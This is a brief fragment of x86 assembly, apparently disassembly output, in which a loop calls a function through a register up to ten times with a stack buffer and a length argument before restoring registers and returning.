lea eax, [esp + 0x74]
push 0x64
push eax
push esi
call ebp
inc esi
mov edi, eax
cmp esi, 0xa
jl 0x405301
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0xc4
ret